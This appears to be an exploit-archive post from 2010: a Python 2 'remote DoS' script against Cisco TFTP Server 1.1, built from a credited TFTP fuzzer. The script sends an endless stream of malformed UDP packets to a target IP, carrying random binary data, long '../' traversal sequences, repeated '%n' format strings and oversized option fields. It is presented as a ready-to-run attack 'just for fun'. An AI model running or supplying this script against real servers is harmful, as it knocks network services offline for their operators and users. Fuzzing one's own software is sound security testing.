[Cisco TFTP Server 1.1]

# Exploit Title: [Cisco TFTP Server 1.1]

# Date: [2010-03-25]

# Author: [_SuBz3r0_]

# Software Link: [http://www.oldversion.com/Cisco_TFTP_Server.html]

# Version: [1.1]

# Tested on: [XP SP3,Win2k3]

# CVE : [if exists]

# Code :

#Cisco TFTP Server v1.1 DoS

print ""

print "##############################################"

print "# _SuBz3r0_ #"

print "##############################################"

print ""

print "Cisco TFTP v1.1 Remote DoS"

print "Just For Fun"

print "tftp_fuzz.py [ip of server]"

print ""

print "Greetz:piloo le canari & MaX"

print "Credits to Ilja van Sprundel"

print "Tested on: French Windows Xp Sp3 fully Patched"

print ""

#!/usr/bin/python

# tftpd fuzzer by Ilja van Sprundel

# implements rfc 1350, 2090, 2347, 2348, 2349

#

# todo: - 1 option per packet

# - lots (>100) (small) options per packet

# - add better option support to OACK

# - client fuzzing ?

import os, socket, sys, struct, random

port = 69

type = ["netascii", "octet", "binary", "mail"]

asize = ["blkzise", "tsize"]

class fuzz:

def __init__(self):

""" """

def randstring(self, len):

thestring = ""

what = random.randint(0,5)

if what < 5:

for i in range(len):

char = chr(random.randint(1,255))

thestring += char

else:

thestring = "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n"

return thestring

def randbin(self, len):

thestring = ""

for i in range(len):

char = chr(random.randint(0,255))

thestring += char

return thestring

def fuzz_rw(self):

""" """

data = ""

if not random.randint(0,50):

return ""

if not random.randint(0,10):

if random.randint(0,1):

data = "../"

else:

howmany = random.randint(1,100)

data = "../" * howmany

data += self.randstring(random.randint(0,3000))

# no 0byte

if not random.randint(0,10):

return data

data += "\0"

# no mode

if not random.randint(0,100):

return data

if random.randint(0,5):

data += random.choice(type)

else:

data += self.randstring(random.randint(0,3000))

if not random.randint(0,10):

return data

data += "\0"

if not random.randint(0,10):

return data

options = random.randint(0,100)

if not random.randint(0,10):

breakloop = 1

breakit = random.randint(0, options)

else:

breakloop = 0

longarg = random.randint(0, options)

if not random.randint(0,10):

lowlimit = 16

options = options / 4

else:

lowlimit = 0

for i in range(options):

which = random.randint(lowlimit, 19)

if which < 16:

if longarg == i:

data += self.randstring(random.randint(0,3000))

else:

data += self.randstring(random.randint(0,100))

data += "\0"

data += self.randstring(random.randint(0,100))

if which == 16:

data += "multicast\0"

if not random.randint(0,5):

if random.randint(0,1):

data += self.randstring(random.randint(0,50))

else:

data += str(random.randint(0, 0xffffffff))

if which == 17 or which == 18:

data += random.choice(asize) + "\0"

if random.randint(0,10):

if random.randint(0,1):

uplimit = 65535

else:

uplimit = 0xffffffff

string = str(random.randint(0, uplimit))

if random.randint(0,1):

data += "-"

data += string

else:

data += self.randstring(random.randint(0,50))

if which == 19:

data += "timeout\0"

if random.randint(0,10):

which = random.randint(0,5)

if which < 4:

uplimit = 255

if which == 4:

uplimit = 65535

else:

uplimit = 0xffffffff

string = str(random.randint(0, uplimit))

if random.randint(0,1):

data += "-"

data += string

else:

data += self.randstring(random.randint(0,50))

if breakloop:

if i == breakit:

return data

data += "\0"

return data

def make_data(self):

""" """

which = random.randint(0,10)

if which < 6:

# read is more likely to be accepted then write

# hence we bias it towards reading !

if random.randint(0,2):

d = "\x00\x01"

else:

d = "\x00\x02"

d += self.fuzz_rw()

# do some tftpd's do something with this ???

elif which == 6:

d = "\x00\x03"

d += self.randbin(2)

d += self.randbin(random.randint(0,3000))

elif which == 7:

d = "\x00\x04"

d += self.randbin(2)

if not random.randint(0,10):

d += self.randbin(random.randint(0,3000))

elif which == 8:

d = "\x00\x05"

d += self.randbin(2)

d += self.randstring(random.randint(0,1000))

if random.randint(0,10):

d += "\0"

elif which == 9:

# lets do this later ....

d = "\x00\x06"

d += self.randbin(1000)

else:

if random.randint(0,2):

times = 512

else:

times = random.randint(512, 10000)

d = self.randbin(random.randint(0,times))

return d

def run(self):

""" """

packets = 0

try:

while 1:

try:

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

except:

print "socket() failed"

sys.exit(1)

da = self.make_data()

s.sendto(da, (host, port))

s.close()

os.write(1,".")

packets += 1

except KeyboardInterrupt:

print "\nPackets: " + str(packets)

if __name__ == '__main__':

if len(sys.argv) <= 1:

sys.exit(0)

host = sys.argv[1]

if len(sys.argv) >= 3:

port = sys.argv[2]

f = fuzz()

f.run()